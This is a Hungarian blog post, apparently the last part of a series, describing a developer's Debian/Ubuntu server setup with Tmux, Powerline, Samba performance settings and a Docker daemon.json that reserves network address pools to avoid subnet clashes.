<p>Ez a rész elég fapados, egy szimpla Debian vagy Ubuntu szerver, amit Ansible segítségével húzok fel. SSH-zás után egy gyári beállításokkal rendelkező Bash fogad (néhány alias-tól eltekintve), ami mellé általában egy <a href="https://github.com/tmux/tmux#readme">Tmux</a>-ot indítok. Ha éppen olyan a hangulatom, akkor a <a href="https://github.com/powerline/powerline">Powerline</a> (és a hozzá tartozó <a href="https://github.com/powerline/fonts/tree/master/DejaVuSansMono">DejaVu Sans Mono</a> betűtípus) segítségével szépítem meg őket egy kicsit.</p>
<h4>Samba</h4>
<p>A hálózati meghajtó miatt kerül a gépre Samba, ami a <a href="https://www.google.com/search?hl=en&amp;q=samba%20performance%20tuning">neten talált teljesítmény növekedést ígérő beállításokkal</a> lett felturbózva:</p>
<pre class="file"><code>/etc/samba/smb.conf
</code></pre>
<pre><code>read raw = yes
write raw = yes
socket options = TCP_NODELAY IPTOS_LOWDELAY SO_RCVBUF=131072 SO_SNDBUF=131072 SO_KEEPALIVE
use sendfile = yes
aio read size = 16384
aio write size = 16384
oplocks = yes
max xmit = 65535
dead time = 15
getwd cache = yes
</code></pre>
<h4>Docker</h4>
<p>Végül, de nem utolsó sorban, a projektek miatt kerül rá még Docker is. Minden más vacak reményeink szerint Docker-en belül fog futni. Ha már Docker, érdemes egy pár szót ejteni a hálózati beállításairól.</p>
<p>Ha hagyjuk szabadon garázdálkodni, akkor van rá egy kicsi esély, hogy előbb-utóbb létrehoz egy olyan hálózatot, ami ütközik valamelyik másik helyi hálózatunkkal és elkezdenek majd emiatt furán működni a dolgok. Ennek megakadályozása érdekében érdemes valami ilyesmit felvenni a beállításai közé:</p>
<pre class="file"><code>/etc/docker/daemon.json
</code></pre>
<pre><code class="hljs json">{
  <span class="hljs-attr">"bip"</span>: <span class="hljs-string">"172.20.0.1/16"</span>,
  <span class="hljs-attr">"default-address-pools"</span>: [
    {<span class="hljs-attr">"base"</span>: <span class="hljs-string">"172.21.0.0/16"</span>, <span class="hljs-attr">"size"</span>: <span class="hljs-number">24</span>}
  ]
}
</code></pre>
<p>Így lehet ~250 hálózatunk, hálózatonként ~250 géppel, ami valószínűleg több, mint elég egy fejlesztői gépen, de a <code>default-address-pools</code> részbe fel lehet venni további tartományokat, ha mégis kifutnánk belőle.</p>
<p>Ezzel a tárlatvezetés végére is értünk, remélem élveztétek az utazást. Elég sok mindent érintettünk felületesen, de ez talán elég ahhoz, hogy el tudjatok indulni ezen a rögös úton.<br />
Azért így a végére érve talán már bevallhatom, hogy nem vagyok benne biztos, hogy jó szívvel tudnám bárkinek ajánlani ezt a felállást. Nekem egyelőre még elég kényelmes ahhoz, hogy ne váltsak, de azért nézelődök, hogy milyen alternatívák jöhetnének még szóba.</p>
<hr />
<h3>Jegyzetek</h3>
<p><a id="cite_note-1"></a>1. <a href="#cite_ref-1" class="note">↑</a> Szokták azt mondani, hogy az agent forwarding nem túl jó ötlet, mivel a socket elérhető lesz mások számára is a cél gépen, ha van elég jogosultságuk (pl. root). Ez a veszély esetünkben nem fenyeget.</p>

]]></content:encoded>
        </item>
        </channel>
</rss>
